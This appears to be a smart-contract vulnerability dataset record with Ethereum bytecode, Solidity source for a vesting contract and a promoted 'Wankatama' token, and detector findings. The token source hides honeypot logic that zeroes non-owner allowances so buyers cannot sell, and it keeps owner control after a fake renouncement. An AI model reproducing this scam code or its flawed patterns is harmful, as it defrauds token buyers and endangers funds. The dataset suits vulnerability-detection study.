2001602082028038833980820191505090505b5096506004546040519080825280602002602001820160405280156125a35781602001602082028038833980820191505090505b5095506004546040519080825280602002602001820160405280156125d75781602001602082028038833980820191505090505b50945060045460405190808252806020026020018201604052801561260b5781602001602082028038833980820191505090505b50935060045460405190808252806020026020018201604052801561263f5781602001602082028038833980820191505090505b5092506004546040519080825280602002602001820160405280156126735781602001602082028038833980820191505090505b509150600090505b6004548110156127f95761268e81611ded565b888281518110151561269c57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126e96126e48261126f565b6128ea565b87828151811015156126f757fe5b90602001906020020190600019169081600019168152505061272061271b82611a5f565b6128ea565b868281518110151561272e57fe5b90602001906020020190600019169081600019168152505061275761275282612818565b6128ea565b858281518110151561276557fe5b90602001906020020190600019169081600019168152505061278681612326565b848281518110151561279457fe5b90602001906020020181815250506127ab816117fc565b83828151811015156127b957fe5b90602001906020020181815250506127d081611dd0565b82828151811015156127de57fe5b9060200190602002018181525050808060010191505061267b565b8787878787878797509750975097509750975097505090919293949596565b6060600a60008381526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128c15780601f10612896576101008083540402835291602001916128c1565b820191906000526020600020905b8154815290600101906020018083116128a457829003601f168201915b50505050509050919050565b6000600b6000838152602001908152602001600020549050919050565b60006060829050600081511415612907576000600102915061290f565b602083015191505b50919050565b6060600f600083815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561297457602002820191906000526020600020905b815481526020019060010190808311612960575b50505050509050919050565b61298981611251565b151561299457600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166129b482611ded565b73ffffffffffffffffffffffffffffffffffffffff161415156129d657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612a1257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612a4d57600080fd5b816007600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080823b905060008111915050919050565b6000806000841415612b845760009150612ba3565b8284029050828482811515612b9557fe5b04141515612b9f57fe5b8091505b5092915050565b6000808284811515612bb857fe5b0490508091505092915050565b6000808284019050838110151515612bd957fe5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612c2457805160ff1916838001178555612c52565b82800160010185558215612c52579182015b82811115612c51578251825591602001919060010190612c36565b5b509050612c5f9190612c63565b5090565b612c8591905b80821115612c81576000816000905550600101612c69565b5090565b905600a165627a7a7230582008cf576aeaf7d4f0972363f6ffc5d80a22ebd2602f5f4ca959595bd925184dbe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,707
0xf64a71F8AeE320B68AAb56205fe81c2C4dB229C9
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } } // contract VestingContractCaller is Ownable { using SafeMath for uint256; address[] vestingContracts; function addVestingContract(address _address) public onlyOwner { vestingContracts.push(_address); } function removeVestingContract(address _address) public onlyOwner { for (uint256 i = 0; i < vestingContracts.length; i++) { if (vestingContracts[i] == _address) { vestingContracts[i] = vestingContracts[vestingContracts.length -1]; vestingContracts.pop(); break; } } } function batchReleaseTokens() public onlyOwner { for (uint256 i = 0; i < vestingContracts.length; i++) { VestingContract vContract = VestingContract(vestingContracts[i]); vContract.releaseToken(); } } function transferVestingContractOwnership(address _contractAddress, address _newOwner) public onlyOwner { for (uint256 i = 0; i < vestingContracts.length; i++) { if (vestingContracts[i] == _contractAddress) { VestingContract vContract = VestingContract(vestingContracts[i]); vContract.transferOwnership(_newOwner); break; } } } function getVestingContracts() public view returns (address[] memory) { return vestingContracts; } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c8063a5e6a2fa1161005b578063a5e6a2fa14610189578063bc3bea5e14610193578063e70191bf146101d7578063f2fde38b1461023657610088565b80634b8ebd9f1461008d578063715018a6146100f15780638da5cb5b146100fb578063a00686f114610145575b600080fd5b6100ef600480360360408110156100a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061027a565b005b6100f96104ac565b005b610103610634565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101876004803603602081101561015b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061065d565b005b61019161078c565b005b6101d5600480360360208110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610915565b005b6101df610b45565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610222578082015181840152602081019050610207565b505050509050019250505060405180910390f35b6102786004803603602081101561024c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd3565b005b610282610de0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610343576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b6001805490508110156104a7578273ffffffffffffffffffffffffffffffffffffffff166001828154811061037a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561049a576000600182815481106103d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663f2fde38b846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561047c57600080fd5b505af1158015610490573d6000803e3d6000fd5b50505050506104a7565b8080600101915050610349565b505050565b6104b4610de0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610575576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610665610de0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610726576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610794610de0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610855576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b6001805490508110156109125760006001828154811061087757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663ec715a316040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156108ec57600080fd5b505af1158015610900573d6000803e3d6000fd5b5050505050808060010191505061085b565b50565b61091d610de0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b600180549050811015610b41578173ffffffffffffffffffffffffffffffffffffffff1660018281548110610a1557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b345760018080805490500381548110610a6f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660018281548110610aa757fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001805480610afa57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610b41565b80806001019150506109e4565b5050565b60606001805480602002602001604051908101604052809291908181526020018280548015610bc957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610b7f575b5050505050905090565b610bdb610de0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610de96026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003390509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220e86da5ea5dc10d4b8255c21b8a6d9ac182d6f7f16d243c4ca8374b8d667d216a64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,708
0x2e6d80aacb82426671d98cdceb5fde7f5e0eb0ec
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ /* 🛺🛺🛺 Welcome to Wankatama! 🛺🛺🛺 🔥 What is Wankatama? Wankatama takes ideas from aboriginal characters, combined with different positions of tribe to create interesting and potential features. Imagine a wonderful combination of lovable characters with a macro targets to form $WANKA. We create a DEX with merry Play-to-earn games to create a big explosion in cryptocurrency and be the first step to attract the community and Liquidity Providers trust in the project. 🔥 Is it Stealth Launch? Yes, implementing stealth launch will make the hardcap become infinity, a strong community would take off $WANKA with strategies that the team has set. Stay tuned! 🔥 When are we launching? Stealth launch between 16PM UTC - 23PM UTC 30th March 👉 Website: https://wankatama.io 👉 Telegram: t.me/wankatama_eth */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Wankatama is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10* 10**6* 10**18; string private _name = 'Wankatama ' ; string private _symbol = 'WANKA ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d